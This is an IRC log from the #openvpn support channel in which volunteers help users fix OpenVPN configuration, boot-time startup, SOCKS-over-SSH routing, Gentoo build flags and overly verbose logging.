20:11 < p0rk> when i do it manually it works
20:11 < p0rk> its only when i use the exact same command through a script
20:13 < Dar1us> p0rk: where is ca.crt?
20:13 < Dar1us> does the script change directory?
20:13 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:13 < p0rk> its in /etc/openvpn and the same folder as my .ovpn file i call
20:13 < p0rk> no, the scrip tdoes nothing except this:
20:13 < Dar1us> p0rk: try putting the absolue path in there
20:13 < p0rk> sudo openvpn --config /vpn.ovpn
20:13 < p0rk> where?
20:14 < Dar1us> in the ovpn config
20:14 < p0rk> ah
20:14 < p0rk> good call
20:14 < p0rk> didnt even catch that line
20:14 < p0rk> bingo
20:14 < p0rk> anyway i can launch the connection and return back to a command prompt?
20:14 < p0rk> like lunach it in the background
20:14 < p0rk> btw, that worked. thank you so much!
20:25 < Dar1us> np
20:26 < Dar1us> use --daemon option I think
20:26 < p0rk> ill try it
20:30 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 245 seconds]
20:34 < p0rk> wow
20:34 < p0rk> Dar1us
20:34 < p0rk> i added --daemon and it seriously just killed my internet on that box
20:34 < p0rk> i cant ping out at all
20:34 < p0rk> vpn or no vpn
20:34 < p0rk> hm
20:34 < p0rk> killed openvpn and it works again
20:35 < p0rk> so strange
20:35 < Dar1us> weird
20:35 < p0rk> yea
20:35 < Dar1us> daemon should just tell it to BG when it has craeted the link
20:35 < p0rk> restarted openvpn and im connected and its working fine again
20:36 < p0rk> so, do you know anything about socks5 proxy through ssh?
20:36 < p0rk> after i connect to the vpn, i run this command:
20:37 < p0rk> ssh -f -N -D 0.0.0.0:port localhost
20:37 < p0rk> then i can make my proxy that boxes ip and it willroute the traffic through it and over the VPN
20:37 < p0rk> i want to somehow disable that port when the VPN is disconnected
20:37 < Dar1us> yes, I have used that before
20:37 < p0rk> it works great, i just want that lest step
20:37 < Dar1us> "disable that port"?
20:38 < p0rk> so if the vpn connection drops, the proxy stops working
20:38 < p0rk> yea, bad terminology
20:38 < p0rk> i just want the proxy to stop working if the VPN goes down
20:38 < Dar1us> you want openvpn to run ssh for you?
20:38 < Dar1us> or?
20:38 < p0rk> no
20:38 < Dar1us> surely ssh will drop if the VPN goes down?
20:38 < p0rk> no
20:38 < p0rk> it just routes my traffic normally without using the VPN
20:38 < Dar1us> does that SSH run oiver the vpn?
20:38 < Dar1us> if so it should drop out when teh VPN does
20:39 < p0rk> thats what i want to happen
20:39 < p0rk> right now it does not
20:39 < p0rk> right now, it goes out to the internet. if the VPN is on, it goes through it, if not, then it just goes out like a normal request
20:39 < p0rk> i guess i want to isolate the traffic over the proxy port to only go out on tun0 and not to hit the internet through eth0
20:40 < Dar1us> why not start the ssh in your openvpn up script and kill it in the down script
20:40 < Dar1us> ?
20:40 < Dar1us> not sure why you need ssh over vpn though
20:40 < p0rk> that option sounds good, but im not sure how to do up and down scripts. further more, im not sure that command can be killed
20:40 < p0rk> also, this is why
20:41 < p0rk> i pay for a VPN for downloading, watching football, etc
20:41 < p0rk> i have a VM setup in my home that does nothing but connect tot he VPN
20:41 -!- Hagabard [~hagabard@66-188-207-39.dhcp.roch.mn.charter.com] has left #openvpn []
20:41 < p0rk> then i can route traffic through it on an application basis, rather than put the VPN on each machine in the home and route all its traffic
20:42 < p0rk> this way all my machines only count as 1 connection
20:42 < p0rk> and i can push utorrent over the VPN and keep Firefox off of it on the same machine
20:42 < Dar1us> OK
20:43 <@EugeneKay> !routebyapp
20:43 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
20:43 < Dar1us> p0rk: is this a windows box or something sane?
20:43 < Dar1us> if it's windows then writing a script will probably suck
20:43 < Dar1us> if not then it should be feasible :)
20:44 < p0rk> the VM that connects to the VPN is Ubuntu 12.04
20:44 < p0rk> EugeneKay, exactly.
20:45 < Dar1us> althugh it seems there is no option for ssh to write the PID out when it backgrounds itself which sucks
20:45 < p0rk> right
20:45 < p0rk> and thats the only way to kill the SSH tunnel
20:45 < p0rk> i was hoping i could bind that proxy to tun0 only
20:45 < p0rk> or something similar
20:45 < Dar1us> I suppose you could use daemon
20:46 < p0rk> because i still need my regular SSH to work when the VPN is down so i can get remote access
20:46 < Dar1us> daemon -p foo.pid ssh -N -D 0.0.0.0:port localhost
20:46 < p0rk> o.O
20:46 < p0rk> what would deamon do in that case?
20:48 < Dar1us> backgrounds ssh and writes the pid in to foo.pid
20:48 < Dar1us> then your down script can do kill `cat foo.pid`; rm -f foo.pid
20:48 < p0rk> ah
20:48 < p0rk> well
20:49 < p0rk> if i could bind it to tun0 then itd be 100% secure
20:49 < Dar1us> but it's SSH
20:49 < Dar1us> it's ALREADY secure
20:50 < p0rk> no no
20:50 < p0rk> i mean
20:50 < p0rk> if the VPN goes down, i want it to shutdown the proxy 100% of the time
20:50 < p0rk> if i rely on a downscript, there is a small chance it may not shut down the proxy
20:50 < p0rk> i dont have a specific example though
20:50 < Dar1us> I suppose so
20:50 < Dar1us> but I have no idea how to do that
20:50 < Dar1us> well, unless you wrote a script which checked if openvpn was running and if not made sure ssh was dead
20:51 < p0rk> right
20:51 < p0rk> i have to look into the ssh command more
20:51 < p0rk> or maybe some iptables rules
20:53 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
21:07 -!- cj_ [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
21:23 < p0rk> so now im trying to get openvpn to connect on boot
21:23 < p0rk> and it seems i have to restart the process each time, first
21:25 < rob0> That's probably a question for #your_distro_here
21:25 < p0rk> ok
21:25 < p0rk> thank you
21:26 < Dar1us> if your distro still supports things as passe as cronjobs then you could create one with the @reboot time spec
21:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:26 < p0rk> does that fire after everything else?
21:26 < p0rk> Im using Ubuntu 12.04 FYI
21:26 < rob0> well sure, but there's probably an init script
21:27 < p0rk> yea
21:27 < p0rk> i had it in rc.local
21:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:27 < Dar1us> p0rk: I imagine it fires when cron starts
21:27 < Dar1us> whenerv that is
21:30 < rob0> http://www.google.com/search?q=start+service+at+boot+ubuntu+12.04
21:31 <@vpnHelper> Title: start service at boot ubuntu 12.04 - Google Search (at www.google.com)
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:06 -!- p3rror [~p3rror@41.248.206.241] has quit [Quit: Leaving]
22:24 < p0rk> So I have openvpn connecting on boot following a guide I found, however, it doesn't actually work until after I issue sudo service openvpn restart
22:27 < p0rk> hrmm
22:27 < p0rk> i actually added the restart to the init.d script and that fixed it
22:27 < p0rk> so thats cool
23:30 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
23:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
23:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:39 <@EugeneKay> !blog
23:39 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
23:47 -!- dougquaid [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has quit [Remote host closed the connection]
23:56 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
--- Day changed Thu Aug 08 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:41 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
00:59 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:03 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
01:07 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
01:10 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:13 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 260 seconds]
01:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
01:14 -!- mode/#openvpn [+o dazo_afk] by ChanServ
01:14 -!- dazo_afk is now known as dazo
02:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
02:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:04 -!- dansmithbtc2 [dansmithbt@unaffiliated/dansmith-btc/x-0355117] has quit [Remote host closed the connection]
02:07 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:19 -!- max_ [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
02:30 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
03:11 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zpdopldejibdemox] has joined #openvpn
03:45 < plaisthos> EugeneKay: %)
03:45 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 240 seconds]
03:47 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 246 seconds]
03:49 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
03:52 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zpdopldejibdemox] has quit [Ping timeout: 264 seconds]
03:53 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rptglnxbipygtloo] has joined #openvpn
03:53 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 256 seconds]
03:53 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 264 seconds]
04:00 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Read error: Operation timed out]
04:02 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
04:06 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
04:29 -!- Denial [Denial@90.202.5.141] has joined #openvpn
04:32 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
04:34 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
04:57 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
05:07 -!- jefferai [~quassel@kde/mitchell] has quit [Read error: Operation timed out]
05:07 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Read error: Operation timed out]
05:09 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
05:11 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
05:21 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
05:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:42 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rptglnxbipygtloo] has quit [Quit: Leaving]
05:46 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:30 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
07:05 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
07:06 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:23 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
07:43 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
08:24 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
08:44 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
08:45 -!- max_ [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
08:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:57 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
08:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:39 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:48 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:51 -!- shawnps [~shawn@li432-69.members.linode.com] has joined #openvpn
09:51 -!- shawnps [~shawn@li432-69.members.linode.com] has left #openvpn []
10:15 -!- fischli [~fischli@31.25.152.181] has joined #openvpn
10:18 -!- shawnps [~shawn@li432-69.members.linode.com] has joined #openvpn
10:22 < shawnps> has anyone used these instructions to set up openvpn on ubuntu 12.04? https://help.ubuntu.com/lts/serverguide/openvpn.html i followed them twice, once with the openvpn that is in aptitude, and a second time after having built openvpn from source, and i still cannot get tunnelblick to tunnel my traffic through the vpn. i see a bunch of stuff in syslog but then it stops at this:
10:22 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
10:23 < shawnps> Aug  8 08:21:21 localhost ovpn-server[347]: client/IP:37082 SENT CONTROL [client]: 'PUSH_REPLY,redirect-gateway def1 bypass-dhcp,route 10.8.0.1,topology net30,ping 10,ping-restart 120,ifconfig 10.8.0.10 10.8.0.9' (status=1)
10:25 <+pekster> The only guide we recommend/support is the one in !howto. That said, we generally needs !configs and !logs from both ends to help with issues
10:26 <+pekster> There's nothing unusual about the PUSH_REPLY bit as that's one of the last messages you get
10:26 <+pekster> !redirect
10:26 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:26 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
10:26 < shawnps> pekster: thanks i'll take a look
10:26 <+pekster> Chances are you missed some step there
10:26 < rob0> The ^^ flowchart might help
10:27 < shawnps> thank you
10:28 < shawnps> !def1
10:28 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
10:36 -!- master_of_master [~master_of@p4FF24987.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
10:43 -!- master_of_master [~master_of@p4FD7B909.dip0.t-ipconnect.de] has joined #openvpn
10:55 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
11:02 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 264 seconds]
11:02 -!- arnotixe_ [~arno@ti0013a380-dhcp5562.bb.online.no] has joined #openvpn
11:02 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
11:05 -!- raidz_away is now known as raidz
11:06 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
11:07 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
11:08 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:08 -!- mode/#openvpn [+v s7r] by ChanServ
11:20 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 276 seconds]
11:30 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
11:30 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
11:44 -!- bigDoggy [brads@2600:3c01::f03c:91ff:feae:9ef3] has joined #openvpn
11:47 < bigDoggy> I have box that I had to rebuild from scratch and not it won't log into openvpn. the only error I can fined is  http://www.bpaste.net/show/zpsRrjV1RaJkucgig8UA/   and we are using the clients original cert.
11:48 <+pekster> Not running as root perhaps? If /sbin/ifconfig doesn't exist?
11:48 < bigDoggy> I am running as root and ifconfig does exist.
11:50 < bigDoggy> brand new and fully updated install of gentoo
11:51 <+pekster> fwiw, it's generally worth building with iproute2 support anyway (net-tools is a dying pile of garbage since it was never updated to handle the new 2.4 kernel ioctls
11:51 < BtbN> ifconfig is in /bin on gentoo.
11:51 <+pekster> Ah, and that too (another lovely net-tools change previously.)
11:52 < BtbN> If you built openvpn before that net-tools change, you have to rebuild it, as it hardcodes the paths at configure time
11:52 <+pekster> Either way you'll need to do a recompile of openvpn since it hardcodes those (fairly fast anyway.) Now's a fine time to enable +iproute2 in portage if you'd like so you use `ip` instead of ifconfig
11:52 <+pekster> !ifconfig_linux
11:52 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
11:52 <+pekster> Lovely reasons at that URL to discourage you from ifconfig ;)
11:53 < BtbN> i still prefer the ifconfig output over ip addr
11:54 < bigDoggy> so, how do you teach openvpn to use ip addr and not ifconfig?
11:54 < BtbN> you're using gentoo and don't know about its useflags?
11:55 < bigDoggy> I know use flags, but you need the correct one.
11:55 <+pekster> http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=2&chap=2
11:55 <@vpnHelper> Title: Gentoo Linux Documentation -- USE flags (at www.gentoo.org)
11:55 < BtbN> There's only one useflag on openvpn that makes sense for this.
11:56 < bigDoggy> there are thousands of use flags. which 'one' does openvpn require to use ip addr. You can't just guess these things.
11:56 < BtbN> openvpn doesn't have thousands of useflags
11:57 < bigDoggy> gentoo does
11:57 < BtbN> ...
11:57 <+pekster> `eix -s net-misc/openvpn`
11:57 <+pekster> Look at the use-flags, find the one that makes sense here (I listed it above, you'll note)
11:57 < bigDoggy> pekster new trick, thank you
11:58 <+pekster> `equery uses net-misc/openvpn` is also helpful as it shows what the installed/requested flags are
11:59 <+pekster> fwiw, the handbook covers that last method
12:00 < BtbN> searching for packages is a new trick? you must be new to gentoo.
12:00 < bigDoggy> I just have always gone hunting for the use flags. I have ignored eix far more than I should.
12:00 < bigDoggy> I see iproute2
12:02 <+pekster> Next time you merge packages, spend more time looking at the USE flags as it'll save you headache later when you realize you want to change them. Every time I do updates I glance at the flags, especially new/changed flags so I don't accidently build X11 junk on my headless servers, for example
12:02 < bigDoggy> emerge --newuse is pulling openvpn. looks like I flipped the switch correctly.
12:04 < bigDoggy> that's the trick with gentoo is understanding the USE system (available in all c++ but only accessible with gentoo).
12:04 <+pekster> C++?? Portage is written in python, and USE flags are a distro-ism that applies to code in any language as the ebuild defines it
12:05 < bigDoggy> thank you!  works like a champ
12:05 <+pekster> As an added bonus, there's an openvpn option to change the path to the ip binary (but not the ifconfig binary) at runtime
12:05 <+pekster> "Yet Another Reason" to use the modern iproute2 support anyway
12:06  * pekster should see how hard it is to change the openvpn buildsystem to do that by default when iproute2 is installed
12:10 < bigDoggy> I have one other minor openvpn issue I was curious about. The server side is spewing data into logs though verb 0? Right now I have system logging disabled or else openvpn server will fill my HD in a hurry. will one of those use flags plug this hole?
12:10 < bigDoggy> http://www.bpaste.net/show/8ccZVzx3eN7PH3KRJNay/
12:11 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 260 seconds]
12:12 <+pekster> No. Use a syslogger and/or log rotation service
12:12 <+pekster> verb 0 is only bare-bones minimal information anyway, and openvpn doesn't even spew that much even at verb 3 (how tiny is your disk? I assure you that the portage tree takes up far more space than some logs at verb 3, even on a fairly busy openvpn host)
12:13 <+pekster> Try syslog-ng and logrotate if you need recommendations on flexible tools
12:13 <+pekster> http://www.gentoo.org/doc/en/security/security-handbook.xml?part=1&chap=3
12:13 <@vpnHelper> Title: Gentoo Linux Documentation -- Logging (at www.gentoo.org)
12:13 <+pekster> And read the handbook for your OS. #gentoo is a more appropriate place to learn how to use your OS
12:13 <+pekster> !logfile
12:13 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
12:15 < Mike--> !howto
12:15 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
12:16 < bigDoggy> pekster looking at those packets hit the logs is like watching tcpdump on any major gateway. on verb 0, openvpn consumes about a gig in 30 min. it a vps with a 28 gig drive. the OS is maybe 800mb
12:17 <+pekster> huh?
12:17 <+pekster> What verb level are you using?
12:17 < bigDoggy> 0
12:17 < bigDoggy> off
12:17 <+pekster> That's not openvpn spewing crap in your logs
12:18 <+pekster> !verb
12:18 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage.
12:18 < bigDoggy> psof +p 11322 shows only openvpn
12:18 <+pekster> I have no idea what you've done to your system, but openvpn doesn't log anything per-packet unless at verb 5, and even then it's just a simple "rwRW" for each tunneled/raw packet
12:18 <+pekster> Again, you've managed to mess something else up that is completely *not* related to openvpn
12:19 < bigDoggy> I thought I tried the others, let me double check
12:19 <+pekster> Past some logs then, becuase whatever you think is openvpn is most surely not
12:19 <+pekster> Paste*
12:19 <+pekster> !paste
12:19 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
12:21 < bigDoggy> # 0 is silent, except for fatal errors
12:21 <+pekster> No, the "logs" you think are "spamming"
12:25 < bigDoggy> http://www.bpaste.net/show/9DqtYMddfk0hUcabR8q6/   I tried a few settings, same on all
12:26 <+pekster> That is *NOT* verb 0
12:26 < bigDoggy> it was 2 seconds ago
12:26 <+pekster> And I'm telling you that you have set your verbosity at 6 or higher
12:26 <+pekster> Don't use developer debugging levels unless you are actually a developer debugging openvpn
12:27 <+pekster> Better yet: give me a *full* output as you restart openvpn, and (at verb 4 or higher) it even tells you what that verbosity level is
12:27 < bigDoggy> # 5 and 6 can help to debug connection problems
12:27 <+pekster> Again,
12:27 <+pekster> !verb
12:27 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage.
12:27 <+pekster> 5 can. 6 or more is worthless, and at >=7 it's completely pointless to run unless you compiled with --enable-debug
12:28 < bigDoggy> http://bpaste.net/show/121150/  nope, no debug
12:28  * pekster shrugs. You have incorrectly set your verbosity, and I've given you the tools you need to fix it
12:28 <+pekster> Give me an output including program initialization and I'll point out where the program has set a higher verbosity
12:29 <+pekster> That, or start it from the command line to rule out something wrong in your initscript or distro config
12:29 < bigDoggy> http://www.bpaste.net/show/VBhIStfp8OmfpUXuJfAz/  with verb 6
12:29 <+pekster> Sorry, I stopped caring
12:29 <+pekster> If you can get output with program *startup* I'll look at it, otherwisei this is a pointless conversation
12:30 < bigDoggy> http://bpaste.net/show/121152/  I have done 0-7 and all the same.
12:30 <+pekster> Program startup dude
12:30 <+pekster> The bit thst starts with "Current Parameter Settings"
12:30 <+pekster> Since none of your logs contain that, you clearly are showing me a portion of a log, not the full thing
12:31 < bigDoggy> yeah, but its going to be a huge file. one sec.
12:31 <+pekster> Then past just the first few hundred lines
12:31 < bigDoggy> I get a few thousand in a second.
12:35 < bigDoggy> http://www.bpaste.net/show/LSZtAdmvUjzKfvmfygHQ/
12:36 < bigDoggy> lower 3rd 1/4
12:36 <+pekster> Line 306
12:36 <+pekster> You have set your verbosity to 6
12:36 <+pekster> As I told you earlier, don't do that
12:36 <+pekster> 3 is a very pleasnat log level that gives you info without being too verbose
12:37 < bigDoggy> set to 3 now
12:37 <+pekster> Either your config or command-line arguments have set the value to 6 in the ocnfig file you are running, which according to line 222 is "/etc/openvpn/openvpn.conf"
12:38 <+pekster> You also have multiple VPNs running
12:38 <+pekster> Look at the PIDs
12:38 <+pekster> 20054 != 19856, which is the one with the insane verbostity level
12:38 <+pekster> !101
12:38 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
12:39 <+pekster> Try `killall openvpn` and start only *one* VPN config
12:39 -!- tgunr [~davec@pool-71-165-28-65.lsanca.fios.verizon.net] has joined #openvpn
12:40 < bigDoggy> thanky you VERY much!
12:40 < bigDoggy> this looks like bad admin habits.
12:48 < tgunr> I just got openvpn working for first time between a mac and linux ubuntu using static key (which is fine for right now), I can ping from mac (10.1.0.2) to linux (10.1.0.1) and vice versa just fine. Now I want to route from mac (nat 192.168.1.7 -> gateway 192.168.1.1) over to linux private LAN (66.66.22.0) so I create a route on mac with `route add -net 66.66.66.0/24 10.1.0.1). On the linux side the route to 66.66.66.0 goes to a
12:48 < tgunr>  firewall 66.66.66.254. I can see incoming pings for 66 net on the linux going out but as 10.1.0.2 -> 66.66.66.141 as example, but no reply due to a firewall rule which only permits traffic between 66 net hosts. My question is how can I get to the 66 net without modifying the firewall? Id it possible using NAT maybe such that outgoing will appear to be from the openvpn host which is on the 66 net?
12:49 < tgunr> oops, that 66.66.22 should be 66.66.66
12:49 <+pekster> !serverlan
12:49 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
12:50 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
12:50 < tgunr> ok, thanks, looking
12:50 <+pekster> Since you're not using TLS you can't "push" openvpn directives between your clients, but the rest applies to you
12:51 <+pekster> You can use the push feature in a p2p setup though (--mode p2p) if you are using TLS instead of static keys, however (even with static addressing)
12:52 <+pekster> Sounds like no return-routing for the remote LAN
12:53 < tgunr> ok, thanks
13:10 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 240 seconds]
13:11 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
13:23 -!- midacts1 [~john@207.59.77.254] has joined #openvpn
13:23 -!- midacts1 [~john@207.59.77.254] has left #openvpn []
13:27 -!- Guest1861 [~morpheus@212.120.158.98.client.static.strong-in10.as13926.net] has joined #openvpn
13:31 -!- KernalPanic [~Kernal@cpe-66-69-108-57.satx.res.rr.com] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
13:38 -!- Guest1861 [~morpheus@212.120.158.98.client.static.strong-in10.as13926.net] has quit []
13:40 -!- barfs [~morpheus@212.120.158.98.client.static.strong-in10.as13926.net] has joined #openvpn
13:40 -!- barfs [~morpheus@212.120.158.98.client.static.strong-in10.as13926.net] has quit [Client Quit]
13:41 -!- barfs [~morpheus@212.120.158.98.client.static.strong-in10.as13926.net] has joined #openvpn
13:41 < Haigha> hi, what can usually do "TLS Error: cannot locate HMAC in incoming packet from ..." ?
13:41 < Haigha> i checked compression, tls-server and tls-client
13:42 < barfs> what language is openvpn written in? I am curious about getting involved with development... :d
13:44 -!- crus` [~crusader@2001:44b8:319e:2900:fceb:b75b:2e5f:8880] has joined #openvpn
13:45 < barfs>  __    __   _______  __       __        ______
13:45 < barfs> |  |  |  | |   ____||  |     |  |      /  __  \
13:45 < barfs> |  |__|  | |  |__   |  |     |  |     |  |  |  |
13:45 < barfs> |   __   | |   __|  |  |     |  |     |  |  |  |
13:45 < barfs> |  |  |  | |  |____ |  `----.|  `----.|  `--'  |
13:45 < barfs> |__|  |__| |_______||_______||_______| \______/
13:46 -!- crus [~crusader@2001:44b8:319e:2900:f00d:c985:10c3:38b4] has quit [Ping timeout: 245 seconds]
13:47 < Haigha> barfs: it's written in C
13:47 < barfs> rad
13:47 < barfs> thank-you Haigha
13:47 < barfs> for your response
13:48 < barfs> int main() {} /* c it is - trusty fast c */
13:49 < barfs> well I am off the IRC for now
13:49 < barfs> just curious about the language of openvpn
13:49 -!- barfs [~morpheus@212.120.158.98.client.static.strong-in10.as13926.net] has quit []
13:51 -!- mirco [~mirco@p508027F1.dip0.t-ipconnect.de] has joined #openvpn
13:55 -!- mirco [~mirco@p508027F1.dip0.t-ipconnect.de] has quit [Client Quit]
13:55 -!- mirco [~mirco@p508027F1.dip0.t-ipconnect.de] has joined #openvpn
14:09 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
14:09 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:09 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:14 -!- nutron [~nutron@unaffiliated/nutron] has quit [Max SendQ exceeded]
14:15 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:21 -!- p3rror [~p3rror@adsl196-209-22-217-196.adsl196-9.iam.net.ma] has joined #openvpn
14:25 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
